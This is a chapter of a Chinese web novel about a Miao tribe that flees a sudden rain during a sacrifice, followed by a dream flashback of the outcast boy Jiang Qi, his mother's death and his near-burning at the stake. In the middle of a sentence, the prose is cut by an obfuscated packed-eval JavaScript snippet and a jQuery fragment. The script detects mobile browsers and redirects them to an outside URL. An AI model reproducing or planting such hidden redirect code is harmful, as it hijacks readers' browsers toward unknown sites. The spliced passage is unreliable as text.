13. 第 13 章
作品:《被苗疆少年下了情蛊后》 苗人手握着手围着篝火载歌载舞。
熊熊大火映照着整个祭台,连挂在木桩上的头骨都清晰可见,尤其是那颗被拿去献祭的牛头,还在滴着血。
这样诡异的仪式,让陆时感到不寒而栗。
看着大火中被燃烧的牛身,他恍恍惚惚地想起梦境中姜祈被大火焚身的一幕。
听着耳边苗女祈福的声音,不禁让他觉得讽刺。
他们凭什么可以求姜祈原谅这一切?
祭祀活动举行到一半的时候,一滴雨忽然落在陆时的脸上。
冰冷的触感从肌肤上传来,陆时摸了摸他的脸,惊讶道:“下雨了吗?”
听到他的话,大巫连忙看向夜空。
淅淅沥沥的雨落下。
原本还在跳舞的苗人们僵在原地,喧闹声戛然而止,场面静默一瞬。
几秒钟之后,他们尖叫着慌忙逃窜。
就像是看见了什么恐惧的东西,他们声嘶力竭地放声大喊。
惨叫声很快就淹没在雨声里。
陆时他们几个一边震惊地看着在雨中逃窜的苗人,一边狼狈地躲着这忽如其来的大雨。
听着周围传来的惨叫声,让他们觉得毛骨悚然,无措地僵在原地。
柯恒不解道:“他们在怕什么啊?不就是下点雨吗?至于怕成这样?”
夏安也表示不理解:“是不是有什么野兽来了啊?”
张哥摇摇头:“他们这里的苗人除了苗女都是天生的猎手,长年累月以打猎为生,有一身打猎的本领,怎么可能会因为来了大型野兽就怕成这样,而且若是真来了什么野兽,他们应该会表现得很兴奋而不是害怕。”
小雨猜想道:“或者说是因为祭祀仪式的过程中不能下雨?最奇怪的是,食物对他们来说是最珍贵的存在,可他们在逃跑的时候甚至顾不上食物,连食物都没搬走,每个人都只顾着寻找躲雨的地方,甚至没有理会身边的亲朋好友。”
陆时看着一个个远去的背影,想起今天早上的那场雨,听到的声音也如同现在这般。
所以,让他们害怕的是雨。
陆时忽地又想起梦里的那场大雨。
会跟那场雨有关吗?
只是一分钟不到的时间,祭台上的苗人已经全部散开,跑远了。
篝火被大雨浇灭,牛头上的血混合着雨水流下祭台。
与刚才的热闹相比,现在只剩一片狼藉。
夏安催促道:“我们也快跑吧,都浑身湿透了。”
他们在回去的路上时发现,路过的茅草屋已经把门锁上,偶尔还能听见小孩的哭闹声和父母焦躁的安抚声,还有时不时传来的哀号声在部落里此起彼伏。
夏安:“是不是雨水有问题?他们听起来很痛苦。”
小胖惊道:“卧槽,我刚才还舔了一下,没发现有什么区别啊。”
柯恒神色凝重:“也不知道发生了什么,看来九黎部落藏着很多秘密。”
小雨经过刚才被那个苗人示爱一事之后,已经疲惫不堪,叹声道:“既然是秘密,就不可能是我们能打听的,这里的人太古怪了,多一事不如少一事吧。”
那个苗人离去时的眼神,他们看得一清二楚,担心苗人心有不甘,又想起陆时被下情蛊这件事,张哥就提出让小胖跟他一起在小雨屋门口打地铺。
张哥:“一个人住太不安全了,而且小雨还是女孩子。”
夏安和柯恒也商量着要住一屋。
陆时摇摇头:“我的睡眠质量很差,我还是一个人住一屋吧。”
张哥:“那你晚上睡觉的时候记得把门锁好,白日就出来聚在一块,不要一个人呆着,有事就直接喊出来,这里的隔音并不是很好,我们应该都能听见。”
“好。”陆时应了声,他倒是没什么顾虑,也并不担心他会遇到危险,虽然姜祈一直没有现身,可他总觉得姜祈就在他身边,时时盯着他。
有姜祈在,姜祈就是最大的危险。
而且以姜祈的性格,不会允许别的苗人给他下蛊。
陆时洗完澡之后就躺在床上,这是他第一次迫不及待地想要进入梦境,想看更多有关姜祈的故事。
没想到蚊虫太多,耳边总是能听到“嗡嗡嗡”的声音,扰人清梦。
快凌晨两点的时候,他才迷迷糊糊地睡着了。
……
……
一声婴儿的啼哭打破了九黎部落清晨的宁静。
破旧的茅草屋里蔓延着一股浓重的血腥味,简陋又破旧的小房子,一眼便可看到底。
刚生产完的女人虚弱地躺在小小的木床上,唇色苍白,气息很弱。
一旁穿着黑色长袍的女人连忙把沾着血液和胎盘黏液的婴儿放下,往床上女人嘴里塞了一颗药丸,着急地说道:“你要是走了,这孩子怎么活得下去,为了孩子,你也要撑下去。”
女人吃力地把汤药喝完,看着怀里的孩子,勉强地露出一抹笑容:“孩子,欢迎你来到这个世界。”
一旁的女人看着啼哭不止的孩子于心不忍,给孩子熬了碗米汤。
女人感激地说道:“谢谢你,大巫。”
大巫叹了口气,说:“你的身体很虚弱,也无法给孩子提供奶水,只能喂他一些米汤。”
除了米汤,也可以喂新鲜的牛奶和羊奶,在部落里是很常见的事情,很多小孩也都是喝羊奶和牛奶长大的。
只是女人没有丈夫,她也不会打猎,所以家里并没有圈养的牛和羊,只能像大巫说的那般,给孩子喂一些米汤。
大巫偶尔来看望女人的时候,会悄悄带来一些新鲜的牛奶和肉类。
如果不是大巫的接济,女人和她的孩子恐怕早已死在那年的冬日。
就在大巫又一次来给女人送食物的时候,酋长拦住了她,并在女人的家门口破口大骂:“大巫,我说过不允许部落里任何人给这对母子提供帮助,我已经看在你的面子上没有将他们逐出部落了!”
大巫蹙着眉,不赞同道:“她是我们的族人。”
酋长怒道:“从她与外男苟且的那一刻开始,她就已经不是九黎部落的人了!”
大巫不想和因爱生恨还失去理智的野蛮人说话,干脆保持沉默,不予理会。
在离开之前,酋长站在女人屋前大声喊话,再三表示女人是部落里的叛徒,无论是谁都不能偷偷给女人送食物。
待在房间里的女人捂住了孩子的耳朵,悄然流泪。
日子一天天过去,女人也艰难地将孩子抚养长大,她给孩子起了个好听的名字,叫作姜祈。
姜是她的姓氏,“祈”字代表着:她向神灵祈福,带着虔诚的祝愿,希望她的孩子能健康平安,一生顺遂。
因为女人长期营养不良,生完孩子之后也没得到妥善的照顾,女人的身体每况愈下,只能卧病在床。
幸好的是,她的孩子足够懂事和乖巧,从不给她招惹麻烦,甚至反过来照顾她的身体。
十岁的姜祈在没有族人的带领下,只能只身一人闯入森林,自学狩猎的本领。
在天黑之前,姜祈拖着一头鹿回了家。
女人担忧地看着满身是血的姜祈,伴随着咳嗽的声音,轻声问道:“你受伤了吗?”
姜祈摇了摇头:“那是鹿身上的血。”
看着姜祈脸上的擦伤,女人唤他坐在窗前,仔细地给他擦拭着伤口,心疼道:“不要在意别的小朋友说了什么,也不要跟他们计较对错。”
姜祈的脸色沉了下来。
女人握着他的手,苦涩的心情淹没了她:“妈妈只是希望你过得轻松一些,不想你被其他人欺负。”
姜祈没有说话,只是垂眸看着女人越来越苍白的手。
他知道,她快死了。
就在三天后的一个雨夜,姜祈冒着雨跑到大巫家,请大巫来为他母亲看病,却在半路被酋长拦了下来。
酋长充满厌恶的目光扫过姜祈的脸,怒斥道:“我说过不允许你再为那个女人诊治!也不允许你送食物给她,尤其是她留下来的野种,就应该丢到山上喂狼!他们不配得到部落的庇佑!”
大巫把年幼的姜祈挡在自己身后,平静地看着近似发疯的酋长,淡漠的表情没有泛起一丝波澜:“她并没有做错什么,孩子也是无辜的。”
酋长往屋里看了一眼,死死地盯着缠绵病榻的女人,目光森冷:“她背叛了族人,与外男生下野种,令族人蒙羞,她不配受到族人的尊敬。”
大巫眼神冰冷,静静地看着酋长,一字一句地开口:“她为部落奉献了她的一切,哪怕她与外男生下孩子,她也应该得到应有的尊重和爱戴,觉得她让部落蒙羞的只有你!”
两人争执不休的谈话声引来部落许多族人的观望。
酋长最终愤怒地挥袖而去。
屋里的女人悄悄地拂去脸上的泪痕。
她曾经是部落里的祭司,与酋长是青梅竹马。
只可惜流水有情落花无意,酋长的示爱让女人心生怯意。
酋长的爱疯狂而偏执,在她明确拒绝之后,甚至想给她下情蛊,想将她困在身边一辈子。
在满月祭的前一天,女人以观星为由,悄悄离开了部落。
等她再次回到部落的时候,已经怀有三个月的身孕。
酋长脸上无光,觉得女人给他戴了顶绿帽子,便以族人不得与外男成婚的族规要将女人逐出部落。
最后还是大巫将女人留了下来。
可那到底是酋长心里的一根刺,他身居高位,怎能允许女人这般羞辱他,让他成为部落里茶余饭后的谈资。
所以酋长下令,不允许部落里的任何人对女人施以援手,不允许任何人善待他们母子。
失去了祭司的身份,没有族人的庇护,她一个怀孕的女人在这样恶劣的环境下,艰难生存,长期的营养不良导致她生下孩子之后落下一身的病痛。
大巫也曾劝女人把孩子打掉:“他在吸取你的养分,你会过得很辛苦的,如果把孩子打掉,酋长不会太为难你。”
女人摇摇头,摸了摸凸起的孕肚,温柔地笑道:“他是上天的恩赐。”
大巫:“那个男人呢?”
女人笑容渐渐淡了,并没有多作解释。
大雨越下越大,小小的茅草屋里充斥着药草的味道。
大巫神色凝重地看着女人,脸上流露出不舍和复杂的神色。
女人拒绝了大巫递过来的药丸,唇角牵起,勉强地笑了笑:“不要浪费了这么好的药,我知道自己的身体情况。”
断断续续的咳嗽声被大雨落下的声音淹没。
女人看着跪坐在床边的姜祈,眼泪溢出眼眶,愧疚地说道:“是我执意要生下你,让你受了这么多苦,是妈妈对不起你,不要恨妈妈。”
姜祈摇摇头,一向冷酷的面容此时显得有些脆弱和难过。
女人把他的手放在大巫手上,带着卑微的祈求:“他还小,劳烦你替我照顾他,我知道这样的请求让你为难,可是我也没有别的办法了。”
大巫深吸一口气,说道:“你放心吧,我定会好好将他养大成人。”
女人用力地握住了她的手,有很多话想说,可她实在没有力气说下去了,缓缓闭上了双眼。
一道惊雷在耳边炸响。
狂风骤雨倾泻而下。
女人死后,酋长以此为由,要将姜祈逐出部落。
大巫就在此时对外宣称,将姜祈收为义子。
酋长是部落的领袖,大巫深受族人爱戴。
最终还是酋长退让一步,让大巫继续抚养女人留下的孩子。
姜祈性格孤僻不爱与人交谈。
因为他的身份特殊,部落里的孩子不敢与他来往。
尽管他的学习能力很强,不管是打猎还是跟在大巫身边学习养蛊,都是部落里的佼佼者。
甚至,他还继承了来自母亲的通灵能力。
他是最适合成为大祭司的人。
可酋长却否认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634792|172631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了这一点:“姜祈只会带给部落灾难,他是外族人,永远都不可能为我族奉献一切。”
因为酋长的阻挠,大祭司的位置迟迟没有人选。
大祭司可遇不可求,能成为大祭司需要有通灵的能力。
只有能与神灵沟通的人才有资格成为大祭司。
原以为日子会这样僵持下去。
直到另外一位少年的到来。
他叫陆时,是被大巫选中的继承人,留在大巫身边学习。
姜祈冷漠的视线让陆时很失落。
他在很早的时候就被选定为大巫继承人,族里其他的小朋友都很喜欢跟他玩,对他很热情,从来没遇见过像姜祈那样对他冷脸的。
可他偏偏却喜欢跟在姜祈身后,喜欢看他研究蛊虫,喜欢跟他去打猎,哪怕被姜祈的蛊虫咬到也没关系。
他就像一只跟屁虫,黏在姜祈身边。
哪怕他们朝夕相处大半年的时间,姜祈对他仍然保持着不远不近的距离。
陆时明白,要不是因为大巫,姜祈根本没有耐心允许他留在身边。
在一个风和日丽的下午,陆时再次悄悄跟着姜祈进了大山。
其实陆时不知道的是,姜祈早就发现了跟在身后的他,为了甩掉他,姜祈不惜踏入森林深处,万分凶险的森林腹地。
转眼之间,陆时就不见了姜祈的身影,他茫然地在附近转了几圈,最后在森林里迷了路。
傍晚的时候,姜祈拖着猎物回家,家里只有大巫,直到大巫问起陆时,姜祈才惊觉,陆时不见了。
姜祈只是想甩掉他这只跟屁虫,他以为陆时进过这么多次森林,不会把自己弄丢的。
等他找到陆时的时候,陆时已经晕倒在森林里,还有猛兽盯上了他。
姜祈出门的时候走得急没有带猎刀和弓箭,只能只身肉搏,他身上被划了很多道伤口,但最后还是将陆时带了回去。
陆时醒来后自责不已,如果不是他非要跟着姜祈,也不会在森林里迷了路,还因为吸入太多的瘴气昏迷不醒,让姜祈为了救他受伤。
在姜祈醒来之后,看着陆时捧着一碗半生不熟的猪肝,陷入了沉默。
陆时坐在床边,把勺子递到姜祈嘴边,说道:“你流了好多血,阿爹说吃这个可以补血,我问过大巫了,她也这样说的。”
姜祈抿紧了嘴唇,在陆时期待的目光下,艰难地说了句:“我还不饿。”
陆时收回了手,脸上难掩失落的情绪,哽咽地说:“你是不喜欢吃我做的菜,还是不喜欢我?”
姜祈愣了一下,他不知道该怎么回答。
他不想看见陆时哭,因为他不会哄人,也不想让大巫觉得他们两个在吵架,只好顺了陆时的心意,将那一碗奇奇怪怪的汤喝完。
陆时开心地说道:“你先好好休息,我明天再给你做点别的。”
姜祈艰难地开口:“不用这么麻烦。”
陆时:“怎么会是麻烦呢?”
后来在姜祈养伤的每一天,陆时都会做好食物送来。
两人的关系也渐渐地不像以前那样僵硬。
姜祈接纳了陆时,随他跟在自己身后。
两人的关系在部落里不是什么秘密。
这并不是酋长所想要看到的事情。
陆时作为大巫继承人,怎么能跟姜祈这个野种混在一起。
一场有关姜祈的流言四起:
姜祈的母亲,部落的前祭司,在临死前透露,姜祈的到来会给部落带来毁灭性的灾难。
一时间,人心惶惶。
近几年,部落也曾有过几次自然灾害。
在酋长的煽动下,谣言变得具有“真实性”。
尤其是,部落已经许久没下过雨了。
酋长说是因为“神罚”,是因为姜祈,神灵降罪。
在大巫外出游历的那段时间,忽然一场大火席卷了整个部落。
这场大火来得突然,来得奇怪。
关于“姜祈会给部落带来不幸”的言论,再次掀起热潮。
在酋长的指挥下,姜祈被抓了起来,用带刺的藤蔓捆在祭台的木桩子上。
陆时跪在酋长面前为姜祈求情,却被酋长关了起来。
“你是被他蒙蔽了!”
陆时被困在茅草屋里,无论他如何叫喊,都没有人理会他。
那天,是一个月圆之夜。
厚重的乌云沉沉地压了下来,遮住了月光,灰蒙蒙的天空让人感到很压抑。
姜祈被捆在木桩上,荆棘划破了他的皮肤,鲜血渗透了他的衣物,血滴一点一点流落在祭台上。
他的脸色苍白,双手无力地垂落。
他脚下的柴火被点燃,浓烟滚滚。
底下的族人载歌载舞,高声喊道:“烧死他!”
经过长时间的努力,陆时终于破门而出,而此时他正踉踉跄跄地爬上高台,听着族人兴奋激昂的声音,让他的心沉甸甸地往下坠。
看着姜祈被浓烟包围,大火快要燃烧到他的身上,陆时忍不住落泪:“是我害了你。”
陆时跪在地上,双手合十,眼泪无声地坠落。
他嘴唇微微颤抖,念着古老又神秘的唱词。
那是每个大巫都会的禁忌之术。
一滴雨落在姜祈的脸上,让他在被大火炙烤中感到一丝丝凉意。
接着,大雨倾盆而下。
所有人都僵在原地,抬头看向天空。
“下雨了?”
姜祈缓缓抬眸,目光穿过人群,落在高台上那抹白色的瘦小身影上,看着他坠下城楼。
那天的雨下得很大。
仿佛要将一切罪恶洗刷干净。
梦里变得模糊一片。
族人的哀号声在他耳边此起彼伏,一张张恐惧的脸闪过他眼前。
陆时如坠入冰窟,浑身颤抖,直到他被抱在怀里,温暖的怀抱将他的心一点一点焐热。
“小时,好久不见。”